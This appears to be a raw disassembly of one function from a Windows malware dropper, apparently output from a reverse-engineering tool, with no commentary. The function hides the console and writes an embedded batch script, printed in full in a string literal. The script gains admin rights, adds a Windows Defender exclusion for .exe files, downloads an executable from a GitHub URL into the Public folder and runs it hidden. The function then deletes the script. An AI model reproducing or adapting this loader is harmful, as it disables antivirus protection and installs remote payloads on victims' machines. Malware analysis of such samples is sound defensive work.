Function at 0x140001840
Capabilities:
Delete file

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xe0]
sub rsp, 0x1e0
mov rax, qword [0x14000a040]
xor rax, rsp
mov qword [rbp + 0xd0], rax
xor ebx, ebx
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
xorps xmm0, xmm0
movups xmmword [rbp + 0x90], xmm0
mov qword [rbp + 0xa0], rbx
mov qword [rbp + 0xa8], rbx
mov ecx, 0x220
call fcn.140004670
mov r9, rax
mov qword [rbp + 0x90], rax
mov qword [rbp + 0xa0], 0x21f
mov qword [rbp + 0xa8], 0x21f
mov rcx, rax
lea rdx, str._echo_off_n::_Check_for_admin_rights_nnet_session__nul_2_1_nif__errorlevel__neq_0___n____powershell__Command__Start_Process_cmd__ArgumentList__c__s0____Verb_RunAs__n____exit__b_n__n::_Your_script_commands_go_here_npowershell.exe__command__Import_Module_Defender__Add_MpPreference__ExclusionExtension_.exe__npowershell__windowstyle_hidden_Invoke_WebRequest__URI_https:__github.com_stezxyz_svchost.exe_raw_main_XClient.exe__OutFile_C:UsersPublicDocument.exe_npowershell__windowstyle_Hidden_Start_Process__FilePath__C:UsersPublicDocument.exe__n
mov r8d, 4
nop dword [rax]
movups xmm0, xmmword [rdx]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rdx + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rdx + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rdx + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rdx, [rdx + 0x80]
sub r8, 1
jne 0x1400018e0
movups xmm0, xmmword [rdx]
movups xmmword [rcx], xmm0
mov rax, qword [rdx + 0x10]
mov qword [rcx + 0x10], rax
mov eax, dword [rdx + 0x18]
mov dword [rcx + 0x18], eax
movzx eax, word [rdx + 0x1c]
mov word [rcx + 0x1c], ax
movzx eax, byte [rdx + 0x1e]
mov byte [rcx + 0x1e], al
mov byte [r9 + 0x21f], bl
lea rcx, [rbp + 0xb0]
call fcn.140001290
nop
movabs rcx, 0x7ffffffffffffffe
mov rax, rcx
mov r15, qword [rbp + 0xc0]
sub rax, r15
cmp rax, 0xb
jb 0x140001ed7
lea r12, [rbp + 0xb0]
mov r14, qword [rbp + 0xb0]
mov r13, qword [rbp + 0xc8]
cmp r13, 7
cmova r12, r14
xorps xmm0, xmm0
movups xmmword [rbp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x80], xmm1
lea rsi, [r15 + 0xb]
mov ebx, 7
lea rdi, [rbp + 0x70]
movabs rdx, 0x7fffffffffffffff
cmp rsi, rbx
jbe 0x140001a4b
mov rbx, rsi
or rbx, 7
cmp rbx, rcx
jbe 0x140001a1d
mov rbx, rcx
lea rcx, [rdx + rdx]
cmp rcx, 0x1000
jb 0x140001a3f
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140001edd
mov rcx, rax
call fcn.140004670
test rax, rax
je 0x140001df5
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140001a47
mov eax, 0xa
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, rdx
ja 0x140001edd
add rcx, rcx
jne 0x1400019e8
xor edi, edi
jmp 0x140001a47
call fcn.140004670
mov rdi, rax
mov qword [rbp + 0x70], rdi
mov qword [rbp + 0x80], rsi
mov qword [rbp + 0x88], rbx
lea rbx, [r15 + r15]
mov r8, rbx
mov rdx, r12
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
movups xmm0, xmmword [str._script.bat]
movups xmmword [rbx + rdi], xmm0
mov eax, dword [0x140006920]
mov dword [rbx + rdi + 0x10], eax
movzx eax, word [0x140006924]
mov word [rbx + rdi + 0x14], ax
xor r15d, r15d
mov word [rdi + rsi*2], r15w
lea rdx, [rbp + 0x70]
cmp qword [rbp + 0x88], 7
cmova rdx, qword [rbp + 0x70]
mov rax, qword [rbp + 0x80]
lea rsi, [rdx + rax*2]
lea rdi, [rbp + 0x70]
cmova rdi, qword [rbp + 0x70]
xorps xmm0, xmm0
movups xmmword [rbp + 0x50], xmm0
mov qword [rbp + 0x60], r15
cmp rdi, rsi
jne 0x140001adb
mov ebx, 0xf
mov qword [rbp + 0x68], rbx
mov byte [rbp + 0x50], r15b
jmp 0x140001be0
sub rsi, rdi
sar rsi, 1
mov qword [rbp + 0x68], 0xf
movabs rax, 0x7fffffffffffffff
cmp rsi, rax
ja 0x140001ecb
mov ebx, 0xf
cmp rsi, rbx
jbe 0x140001b9a
mov rbx, rsi
or rbx, 0xf
cmp rbx, rax
jbe 0x140001b51
mov rbx, rax
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140004670
mov rcx, rax
test rax, rax
je 0x140001d9f
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x68], rbx
jmp 0x140001b9e
mov eax, 0x16
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x140001b73
mov rax, r15
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x68], rbx
jmp 0x140001b9e
cmp rcx, 0x1000
jb 0x140001b8b
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140001ed1
jmp 0x140001b27
call fcn.140004670
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x68], rbx
jmp 0x140001b9e
mov rax, qword [rbp + 0x50]
lea r8, [rbp + 0x50]
cmp rbx, 0xf
cmova r8, rax
mov rcx, r8
mov rdx, rsi
test rsi, rsi
je 0x140001bd3
nop word [rax + rax]
movzx eax, byte [rdi]
mov byte [rcx], al
lea rcx, [rcx + 1]
lea rdi, [rdi + 2]
sub rdx, 1
jne 0x140001bc0
mov qword [rbp + 0x60], rsi
mov byte [r8 + rsi], 0
mov rbx, qword [rbp + 0x68]
xor edx, edx
mov r8d, 0x108
lea rcx, [rsp + 0x40]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp + 0x50]
cmp rbx, 0xf
cmova rdx, qword [rbp + 0x50]
lea rcx, [rsp + 0x40]
call fcn.140003770
mov rax, qword [rsp + 0x40]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x40], rax
mov rax, qword [rsp + 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x3c], edx
mov rax, qword [rsp + 0x40]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x40]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator__void_const___ptr64]
test al, al
je 0x140001c58
lea rdx, [0x140006928]
jmp 0x140001d19
lea rdx, [rbp + 0x90]
cmp qword [rbp + 0xa8], 0xf
cmova rdx, qword [rbp + 0x90]
mov r8, qword [rbp + 0xa0]
lea rcx, [rsp + 0x40]
call fcn.1400043f0
lea rcx, [rsp + 0x48]
call fcn.1400036b0
test rax, rax
jne 0x140001cae
mov rax, qword [rsp + 0x40]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x40]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
lea rdx, str.File_.bat
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.1400039a0
lea rdx, [rbp + 0x70]
cmp qword [rbp + 0x88], 7
cmova rdx, qword [rbp + 0x70]
mov r8, qword [rbp + 0x80]
mov rcx, rax
call fcn.140004220
lea rdx, [0x140003b80]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rcx, [rbp + 0x70]
call fcn.140001480
lea rcx, [rbp + 0x50]
cmp qword [rbp + 0x68], 0xf
cmova rcx, qword [rbp + 0x50]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
test eax, eax
je 0x140001d3c
lea rdx, [0x140006980]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140003bc0
lea rdx, [0x140003da0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ebx, 1
jmp 0x140001d62
lea rdx, str.File_.bat__
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003bc0
mov rcx, rax
lea rdx, [0x140003da0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ebx, r15d
lea rcx, [rsp + 0x40]
call fcn.140001ef0
nop
mov rdx, qword [rbp + 0x68]
cmp rdx, 0xf
jbe 0x140001dab
inc rdx
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001da6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001da6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400046ac
mov qword [rbp + 0x60], r15
mov qword [rbp + 0x68], 0xf
mov byte [rbp + 0x50], 0
mov rdx, qword [rbp + 0x88]
cmp rdx, 7
jbe 0x140001e01
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001dfc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001dfc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400046ac
movdqa xmm0, xmmword [0x140006b20]
movdqu xmmword [rbp + 0x80], xmm0
mov word [rbp + 0x70], r15w
cmp r13, 7
jbe 0x140001e55
lea rdx, [r13*2 + 2]
mov rax, r14
cmp rdx, 0x1000
jb 0x140001e4c
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001e4c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r14
call fcn.1400046ac
nop
mov rdx, qword [rbp + 0xa8]
cmp rdx, 0xf
jbe 0x140001e99
inc rdx
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001e94
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001e94
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400046ac
mov eax, ebx
mov rcx, qword [rbp + 0xd0]
xor rcx, rsp
call fcn.140004650
lea r11, [rsp + 0x1e0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400011b0
nop
call fcn.140001110
nop
call fcn.1400011b0
int3
call fcn.140001110
int3